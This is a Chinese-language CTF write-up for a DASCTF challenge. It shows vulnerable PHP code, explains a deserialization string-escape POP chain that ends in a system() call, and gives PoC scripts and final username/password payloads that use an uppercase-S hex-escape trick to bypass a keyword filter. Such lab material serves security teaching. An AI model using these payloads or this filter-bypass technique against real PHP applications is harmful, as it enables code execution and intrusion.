DASCTF6月赛的一题,看了一下,是遇到过多次的反序列化字符串逃逸,随便写一下
主要源码:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
|
<?php
function add($data)
{
$data = str_replace(chr(0).'*'.chr(0), '\0*\0', $data);
return $data;
}
function reduce($data)
{
$data = str_replace('\0*\0', chr(0).'*'.chr(0), $data);//5->3
return $data;
}
function check($data)
{
if(stristr($data, 'c2e38')!==False){
die('exit');
}
}
class User{
protected $username;
protected $password;
protected $admin;
public function __construct($username, $password){
$this->username = $username;
$this->password = $password;
$this->admin = 0;
}
public function get_admin(){
return $this->admin;
}
}
class Hacker_A{
public $c2e38;
public function __construct($c2e38){
$this->c2e38 = $c2e38;
}
public function __destruct() {
if(stristr($this->c2e38, "admin")===False){
echo("must be admin");
}else{
echo("good luck");
}
}
}
class Hacker_B{
public $c2e38;
public function __construct($c2e38){
$this->c2e38 = $c2e38;
}
public function get_c2e38(){
return $this->c2e38;
}
public function __toString(){
$tmp = $this->get_c2e38();
$tmp();
return 'test';
}
}
class Hacker_C{
public $name = 'test';
public function __invoke(){
var_dump(system('cat /flag'));
}
}
$username = "";
$password = "";
$user = new User($username, $password);
$s = add(serialize($user));
check(reduce($s));
$tmp = unserialize(reduce($s));
|
pop链:username
和password
会进行序列化并反序列化,实例化Hacker_A
类同时初始化为Hacker_B
类,stristr($this->c2e38, "admin")===False
会将Hacker_B
当做字符串调用,触发Hacker_B
的__toString
方法,继续将Hacker_B
类初始化为Hacker_C
类,$tmp();
会将Hacker_C
当做函数调用,触发Hacker_C
的__invoke
方法,然后拿到flag
poc:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
|
<?php
class User{
protected $username;
protected $password;
protected $admin;
public function __construct($username, $password){
$this->username = $username;
$this->password = $password;
$this->admin = 0;
}
public function get_admin(){
return $this->admin;
}
}
class Hacker_A{
public $c2e38;
public function __construct($c2e38){
$this->c2e38 = $c2e38;
}
public function __destruct() {
if(stristr($this->c2e38, "admin")===False){
echo("must be admin");
}else{
echo("good luck");
}
}
}
class Hacker_B{
public $c2e38;
public function __construct($c2e38){
$this->c2e38 = $c2e38;
}
public function get_c2e38(){
return $this->c2e38;
}
public function __toString(){
$tmp = $this->get_c2e38();
$tmp();
return 'test';
}
}
class Hacker_C{
public $name = 'test';
public function __invoke(){
var_dump(system('cat /flag'));
}
}
$a = new Hacker_A(new Hacker_B(new Hacker_C));
$p = serialize($a);
var_dump($p);
|
然后构造逃逸:之前的文章
验证poc:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
|
<?php
function add($data)
{
$data = str_replace(chr(0).'*'.chr(0), '\0*\0', $data);
return $data;
}
function reduce($data)
{
$data = str_replace('\0*\0', chr(0).'*'.chr(0), $data);//5->3
return $data;
}
function check($data)
{
if(stristr($data, 'c2e38')!==False){
die('exit');
}
}
class User{
protected $username;
protected $password;
protected $admin;
public function __construct($username, $password){
$this->username = $username;
$this->password = $password;
$this->admin = 0;
}
public function get_admin(){
return $this->admin;
}
}
class Hacker_A{
public $c2e38;
public function __construct($c2e38){
$this->c2e38 = $c2e38;
}
public function __destruct() {
if(stristr($this->c2e38, "admin")===False){
echo("must be admin");
}else{
echo("good luck");
}
}
}
class Hacker_B{
public $c2e38;
public function __construct($c2e38){
$this->c2e38 = $c2e38;
}
public function get_c2e38(){
return $this->c2e38;
}
public function __toString(){
$tmp = $this->get_c2e38();
$tmp();
return 'test';
}
}
class Hacker_C{
public $name = 'test';
public function __invoke(){
var_dump(system('cat /flag'));
}
}
$username = "\0*\0\0*\0\0*\0\0*\0\0*\0\0*\0\0*\0\0*\0\0*\0\0*\0\0*\0\0*\0\0*\0\0*\0";
$password = '";s:11:"\0*\0password";O:8:"Hacker_A":1:{s:5:"c2e38";O:8:"Hacker_B":1:{s:5:"c2e38";O:8:"Hacker_C":1:{s:4:"name";s:4:"test";}}};s:8:"\0*\0admin";i:0;';
$user = new User($username, $password);
$s = add(serialize($user));
var_dump($s);
check(reduce($s));
$tmp = unserialize(reduce($s));
var_dump(reduce($s));
//\63\32\65\33\38 == c2e38
//payload = ";s:11:"\0*\0password";O:8:"Hacker_A":1:{S:5:"\63\32\65\33\38";O:8:"Hacker_B":1:{S:5:"\63\32\65\33\38";O:8:"Hacker_C":1:{s:4:"name";s:4:"test";}}};s:8:"\0*\0admin";i:0;
|
这里有个trick:
S代替s,在这种情况下\00就会被解析成%00,而如果是小写s,\00就是一个斜线+2个零
最终payload:
1
2
|
username = \0*\0\0*\0\0*\0\0*\0\0*\0\0*\0\0*\0\0*\0\0*\0\0*\0\0*\0\0*\0\0*\0\0*\0
password = ";s:11:"\0*\0password";O:8:"Hacker_A":1:{S:5:"\63\32\65\33\38";O:8:"Hacker_B":1:{S:5:"\63\32\65\33\38";O:8:"Hacker_C":1:{s:4:"name";s:4:"test";}}};s:8:"\0*\0admin";i:0;
|